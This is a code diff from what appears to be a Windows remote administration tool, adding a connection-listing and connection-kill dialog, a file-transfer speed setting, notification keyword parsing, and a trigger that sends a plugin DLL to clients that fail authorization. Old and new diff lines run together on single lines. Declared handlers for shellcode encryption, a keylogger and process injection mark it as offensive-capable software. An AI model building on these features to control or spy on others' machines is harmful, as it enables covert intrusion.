if (!targetDll || !targetDll->Data) {
Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str());
continue;
}
// 发送 DLL 到客户端
Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str());
ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length());
}
}
context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip)
{ {
CString clientIP(ip.c_str()); CString clientIP(ip.c_str());
+17 -2
View File
@@ -233,9 +233,10 @@ public:
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
// expired=true 表示签名有效但已过期(可用于续期) // expired=true 表示签名有效但已过期(可用于续期)
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn, std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
const char* source = "AUTH"); const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = ""); void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files, void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
@@ -347,6 +348,12 @@ public:
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用 const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
void OnPreviewLevels(); // 高级→屏幕预览质量等级 void OnPreviewLevels(); // 高级→屏幕预览质量等级
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
// 下载方向经 CMD_FILE_SPEED 下发到被控端(下次打开文件管理/远程桌面会话生效)。
void OnFileTransferSpeed(); // 高级→文件传输速度
void SendFileSpeedCommand(); // 把当前档位经主连接下发给被控端
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求 void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes); void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
void ClearThumbnailCacheEntry(uint64_t clientID); void ClearThumbnailCacheEntry(uint64_t clientID);
@@ -425,7 +432,7 @@ public:
bool IsDllRequestLimited(const std::string& ip); bool IsDllRequestLimited(const std::string& ip);
void RecordDllRequest(const std::string& ip); void RecordDllRequest(const std::string& ip);
CMenu m_MainMenu; CMenu m_MainMenu;
CBitmap m_bmOnline[66]; CBitmap m_bmOnline[69];
uint64_t m_superID; uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds; std::map<HWND, CDialogBase *> m_RemoteWnds;
FileTransformCmd m_CmdList; FileTransformCmd m_CmdList;
@@ -510,6 +517,11 @@ public:
// 由 m_cs 保护。 // 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW; std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage(); afx_msg void OnOnlineMessage();
afx_msg void OnChat();
afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
afx_msg void OnExperimentDrawingBoard();
afx_msg void OnOnlineDelete(); afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate(); afx_msg void OnOnlineUpdate();
afx_msg void OnAbout(); afx_msg void OnAbout();
@@ -640,6 +652,7 @@ public:
afx_msg void OnToolPluginSettings(); afx_msg void OnToolPluginSettings();
afx_msg void OnTriggerSettings(); afx_msg void OnTriggerSettings();
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
afx_msg void OnShellcodeAesCArray(); afx_msg void OnShellcodeAesCArray();
afx_msg void OnParamKblogger(); afx_msg void OnParamKblogger();
afx_msg void OnOnlineInjNotepad(); afx_msg void OnOnlineInjNotepad();
@@ -674,6 +687,7 @@ public:
afx_msg void OnCancelShare(); afx_msg void OnCancelShare();
afx_msg void OnWebRemoteControl(); afx_msg void OnWebRemoteControl();
afx_msg void OnMcpSettings(); afx_msg void OnMcpSettings();
afx_msg void OnConnectionManage();
afx_msg void OnProxyPortAutorun(); afx_msg void OnProxyPortAutorun();
afx_msg void OnScreenpreviewLoop(); afx_msg void OnScreenpreviewLoop();
afx_msg void OnMenuCompress(); afx_msg void OnMenuCompress();
@@ -688,5 +702,6 @@ public:
afx_msg void OnOnlineClientLog(); afx_msg void OnOnlineClientLog();
afx_msg void OnOnlineHistoryActivity(); afx_msg void OnOnlineHistoryActivity();
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
afx_msg void OnOnlineForbidden(); afx_msg void OnOnlineForbidden();
}; };
@@ -266,6 +266,7 @@
<None Include="res\Cur\MutiDrag.cur" /> <None Include="res\Cur\MutiDrag.cur" />
<None Include="res\My2015Remote.rc2" /> <None Include="res\My2015Remote.rc2" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
@@ -350,6 +351,7 @@
<ClInclude Include="SearchBarDlg.h" /> <ClInclude Include="SearchBarDlg.h" />
<ClInclude Include="Server.h" /> <ClInclude Include="Server.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -483,6 +485,7 @@
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="SearchBarDlg.cpp" /> <ClCompile Include="SearchBarDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -523,6 +526,8 @@
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\ClientLog.bmp" /> <Image Include="res\Bitmap\ClientLog.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\Forbidden.bmp" /> <Image Include="res\Bitmap\Forbidden.bmp" />
<Image Include="res\bitmap\compress.bmp" /> <Image Include="res\bitmap\compress.bmp" />
<Image Include="res\Bitmap\Copy.bmp" /> <Image Include="res\Bitmap\Copy.bmp" />
@@ -558,6 +563,7 @@
<Image Include="res\Bitmap\PluginConfig.bmp" /> <Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\Reboot.bmp" /> <Image Include="res\Bitmap\Reboot.bmp" />
@@ -582,6 +588,7 @@
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\ClientLog.ico" /> <Image Include="res\ClientLog.ico" />
<Image Include="res\cmdshell.ico" /> <Image Include="res\cmdshell.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\DrawingBoard.ico" /> <Image Include="res\DrawingBoard.ico" />
<Image Include="res\dword.ico" /> <Image Include="res\dword.ico" />
@@ -29,6 +29,7 @@
<ClCompile Include="RegisterDlg.cpp" /> <ClCompile Include="RegisterDlg.cpp" />
<ClCompile Include="ScreenSpyDlg.cpp" /> <ClCompile Include="ScreenSpyDlg.cpp" />
<ClCompile Include="ServicesDlg.cpp" /> <ClCompile Include="ServicesDlg.cpp" />
<ClCompile Include="ConnectionsDlg.cpp" />
<ClCompile Include="SettingDlg.cpp" /> <ClCompile Include="SettingDlg.cpp" />
<ClCompile Include="ShellDlg.cpp" /> <ClCompile Include="ShellDlg.cpp" />
<ClCompile Include="TerminalDlg.cpp" /> <ClCompile Include="TerminalDlg.cpp" />
@@ -128,6 +129,7 @@
<ClInclude Include="Resource.h" /> <ClInclude Include="Resource.h" />
<ClInclude Include="ScreenSpyDlg.h" /> <ClInclude Include="ScreenSpyDlg.h" />
<ClInclude Include="ServicesDlg.h" /> <ClInclude Include="ServicesDlg.h" />
<ClInclude Include="ConnectionsDlg.h" />
<ClInclude Include="SettingDlg.h" /> <ClInclude Include="SettingDlg.h" />
<ClInclude Include="ShellDlg.h" /> <ClInclude Include="ShellDlg.h" />
<ClInclude Include="TerminalDlg.h" /> <ClInclude Include="TerminalDlg.h" />
@@ -232,6 +234,7 @@
<None Include="res\web\xterm.min.js" /> <None Include="res\web\xterm.min.js" />
<None Include="res\web\xterm.css" /> <None Include="res\web\xterm.css" />
<None Include="res\web\fit.min.js" /> <None Include="res\web\fit.min.js" />
<None Include="res\web\opus-decoder.min.js" />
<None Include="..\web\index.html" /> <None Include="..\web\index.html" />
<None Include="stub2\stub32.bin" /> <None Include="stub2\stub32.bin" />
<None Include="stub2\stub64.bin" /> <None Include="stub2\stub64.bin" />
@@ -264,6 +267,7 @@
<Image Include="res\screen.ico" /> <Image Include="res\screen.ico" />
<Image Include="res\machine.ico" /> <Image Include="res\machine.ico" />
<Image Include="res\system.ico" /> <Image Include="res\system.ico" />
<Image Include="res\connections.ico" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />
<Image Include="res\decrypt.ico" /> <Image Include="res\decrypt.ico" />
<Image Include="res\file\FILE.ico" /> <Image Include="res\file\FILE.ico" />
@@ -348,5 +352,8 @@
<Image Include="res\Bitmap\HistoryActivity.bmp" /> <Image Include="res\Bitmap\HistoryActivity.bmp" />
<Image Include="res\Bitmap\BrowseWnd.bmp" /> <Image Include="res\Bitmap\BrowseWnd.bmp" />
<Image Include="res\Bitmap\PortProxyAuto.bmp" /> <Image Include="res\Bitmap\PortProxyAuto.bmp" />
<Image Include="res\Bitmap\FileManager.bmp" />
<Image Include="res\Bitmap\PrivacyShield.bmp" />
<Image Include="res\Bitmap\DrawingBoard.bmp" />
</ItemGroup> </ItemGroup>
</Project> </Project>
+122
View File
@@ -0,0 +1,122 @@
// CFileSpeedDlg.h
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
#pragma once
#include "LangManager.h"
#include <afxcmn.h>
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
static const FileSpeedTier kFileSpeedTiers[] = {
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
{ 128, 50, _T("快") }, // ≈2.5 MB/s
{ 256, 50, _T("更快") }, // ≈5 MB/s
{ 512, 50, _T("很快") }, // ≈10 MB/s
{ 1024, 0, _T("不限速") }, // 网络上限
};
#define FILE_SPEED_TIER_COUNT 7
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
class CFileSpeedDlg : public CDialog
{
public:
enum { IDD = IDD_FILE_SPEED };
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
{
}
int GetChunkKb() const { return m_chunkKb; }
int GetDurMs() const { return m_durMs; }
protected:
int m_chunkKb;
int m_durMs;
static int TierIndexFor(int chunkKb, int durMs)
{
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
return i;
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
}
static void FormatSpeed(int idx, CString& out)
{
const FileSpeedTier& t = kFileSpeedTiers[idx];
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
if (t.durMs <= 0) {
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
return;
}
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
}
int GetSliderPos()
{
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
if (pos < 0) pos = 0;
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
return pos;
}
void UpdateLabel()
{
CString s;
FormatSpeed(GetSliderPos(), s);
SetDlgItemText(IDC_FSPEED_LABEL, s);
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
UpdateLabel();
TranslateDialog(this);
return TRUE;
}
virtual void OnOK() override
{
int idx = GetSliderPos();
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
m_durMs = kFileSpeedTiers[idx].durMs;
CDialog::OnOK();
}
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
(void)nSBCode; (void)nPos; (void)pScrollBar;
UpdateLabel(); // 拖动过程中实时刷新预估速度
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
UpdateLabel();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
DECLARE_MESSAGE_MAP()
};
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
ON_WM_HSCROLL()
END_MESSAGE_MAP()
+305
View File
@@ -0,0 +1,305 @@
// ConnectionsDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ConnectionsDlg.h"
#include "afxdialogex.h"
#include <ws2tcpip.h>
#include <utility>
// CConnectionsDlg 对话框
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
typedef struct ConnItemData {
ConnectionInfo info;
CString key[8];
CString GetKey(int index) const { return key[index]; }
} ConnItemData;
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
, m_nRClickItem(-1)
, m_nSortColumn(-1)
, m_bSortAscending(true)
{
}
CConnectionsDlg::~CConnectionsDlg()
{
}
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_ControlList);
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
}
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
END_MESSAGE_MAP()
// CConnectionsDlg 消息处理程序
static CString FormatAddr(BYTE af, const uint8_t* addr)
{
char buf[INET6_ADDRSTRLEN] = { 0 };
if (af == AF_INET) {
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
} else {
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
}
return CA2T(buf);
}
static CString TcpStateName(DWORD state)
{
switch (state) {
case 1: return _T("CLOSED");
case 2: return _T("LISTEN");
case 3: return _T("SYN_SENT");
case 4: return _T("SYN_RCVD");
case 5: return _T("ESTABLISHED");
case 6: return _T("FIN_WAIT1");
case 7: return _T("FIN_WAIT2");
case 8: return _T("CLOSE_WAIT");
case 9: return _T("CLOSING");
case 10: return _T("LAST_ACK");
case 11: return _T("TIME_WAIT");
case 12: return _T("DELETE_TCB");
default: return _T("-");
}
}
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
// 使字符串比较等价于按地址数值排序。
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
{
CString key;
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
for (int i = 0; i < 16; ++i)
key.AppendFormat(_T("%02X"), addr[i]);
return key;
}
BOOL CConnectionsDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString strString;
strString.FormatL("%s - 连接管理", m_IPAddress);
SetWindowText(strString);
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
ShowConnectionList();
return TRUE;
}
int CConnectionsDlg::ShowConnectionList(void)
{
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
int len = tmp.GetBufferLength();
DeleteAllItems();
if (len < 3) {
CString strEmpty;
strEmpty.FormatL("连接数:%d", 0);
m_Count.SetWindowText(strEmpty);
return 0;
}
const BYTE* p = tmp.GetBuffer(0);
uint16_t count = 0;
memcpy(&count, p + 1, 2);
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
if ((int)count > avail) count = (uint16_t)avail;
for (int i = 0; i < (int)count; ++i) {
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
CString strLocalPort, strRemotePort, strPid, strProcName;
strLocalPort.Format(_T("%u"), info->localPort);
strRemotePort.Format(_T("%u"), info->remotePort);
strPid.Format(_T("%u"), info->pid);
strProcName = CA2T(info->procName, CP_UTF8);
auto* data = new ConnItemData;
data->info = *info;
data->key[0] = strProto;
data->key[1] = AddrSortKey(info->af, info->localAddr);
data->key[2].Format(_T("%05u"), info->localPort);
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
data->key[4].Format(_T("%05u"), info->remotePort);
data->key[5].Format(_T("%03u"), info->state);
data->key[6].Format(_T("%010u"), info->pid);
data->key[7] = strProcName;
m_ControlList.InsertItem(i, strProto);
m_ControlList.SetItemText(i, 1, strLocalAddr);
m_ControlList.SetItemText(i, 2, strLocalPort);
m_ControlList.SetItemText(i, 3, strRemoteAddr);
m_ControlList.SetItemText(i, 4, strRemotePort);
m_ControlList.SetItemText(i, 5, strState);
m_ControlList.SetItemText(i, 6, strPid);
m_ControlList.SetItemText(i, 7, strProcName);
m_ControlList.SetItemData(i, (DWORD_PTR)data);
}
CString strCount;
strCount.FormatL("连接数:%d", (int)count);
m_Count.SetWindowText(strCount);
return 0;
}
void CConnectionsDlg::OnClose()
{
CancelIO();
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DeleteAllItems();
DialogBase::OnClose();
}
void CConnectionsDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
if (data) delete data;
}
m_ControlList.DeleteAllItems();
}
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
m_nRClickItem = pAct->iItem;
bool canKill = false;
if (m_nRClickItem >= 0) {
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
}
CMenu Menu;
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
TranslateMenu(&Menu);
CMenu* SubMenu = Menu.GetSubMenu(0);
if (SubMenu && !canKill) {
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
}
CPoint Point;
GetCursorPos(&Point);
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
*pResult = 0;
}
void CConnectionsDlg::OnConnectionKill()
{
if (m_nRClickItem < 0) return;
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
if (szBuffer == NULL) return;
szBuffer[0] = COMMAND_KILL_CONNECTION;
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
}
void CConnectionsDlg::OnConnectionRefresh()
{
BYTE bToken = COMMAND_CONNECTION;
m_ContextObject->Send2Client(&bToken, 1);
}
void CConnectionsDlg::OnReceiveComplete(void)
{
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_CONNECTION_LIST:
ShowConnectionList();
break;
default:
break;
}
}
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
{
__super::OnSize(nType, cx, cy);
if (!m_ControlList.GetSafeHwnd()) return;
CRect rc;
m_ControlList.GetWindowRect(&rc);
ScreenToClient(&rc);
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
}
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
{
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
int nColumn = pSortInfo->first;
bool bAscending = pSortInfo->second;
auto* context1 = (ConnItemData*)lParam1;
auto* context2 = (ConnItemData*)lParam2;
CString s1 = context1->GetKey(nColumn);
CString s2 = context2->GetKey(nColumn);
int result = s1.Compare(s2);
return bAscending ? result : -result;
}
void CConnectionsDlg::SortByColumn(int nColumn)
{
if (nColumn == m_nSortColumn) {
m_bSortAscending = !m_bSortAscending;
} else {
m_nSortColumn = nColumn;
m_bSortAscending = true;
}
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
}
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
SortByColumn(pNMHeader->iItem);
*pResult = 0;
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
#include "afxwin.h"
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
class CConnectionsDlg : public DialogBase
{
DECLARE_DYNAMIC(CConnectionsDlg)
public:
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
virtual ~CConnectionsDlg();
int ShowConnectionList(void);
void OnReceiveComplete(void);
enum { IDD = IDD_DIALOG_CONNECTIONS };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
DECLARE_MESSAGE_MAP()
public:
CListCtrl m_ControlList;
virtual BOOL OnInitDialog();
void DeleteAllItems();
void SortByColumn(int nColumn);
afx_msg void OnClose();
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnConnectionKill();
afx_msg void OnConnectionRefresh();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
CStatic m_Count;
int m_nRClickItem;
int m_nSortColumn;
bool m_bSortAscending;
};
+38 -3
View File
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:"))); SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:"))); SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:"))); SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)"))); SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次"))); SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
SetDlgItemText(IDOK, _TR("确定")); SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消")); SetDlgItemText(IDCANCEL, _TR("取消"));
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
m_comboNotifyColumn.SetCurSel(rule.columnIndex); m_comboNotifyColumn.SetCurSel(rule.columnIndex);
} }
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str())); // Display stored semicolon-separated keywords as one keyword per line.
{
CString pattern;
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
int start = 0;
for (;;) {
const int pos = stored.Find(_T(';'), start);
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
kw.Trim();
if (!kw.IsEmpty()) {
if (!pattern.IsEmpty()) pattern += _T("\r\n");
pattern += kw;
}
if (pos < 0) break;
start = pos + 1;
}
m_editNotifyPattern.SetWindowText(pattern);
}
} }
void NotifySettingsDlg::SaveSettings() void NotifySettingsDlg::SaveSettings()
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
sel = m_comboNotifyColumn.GetCurSel(); sel = m_comboNotifyColumn.GetCurSel();
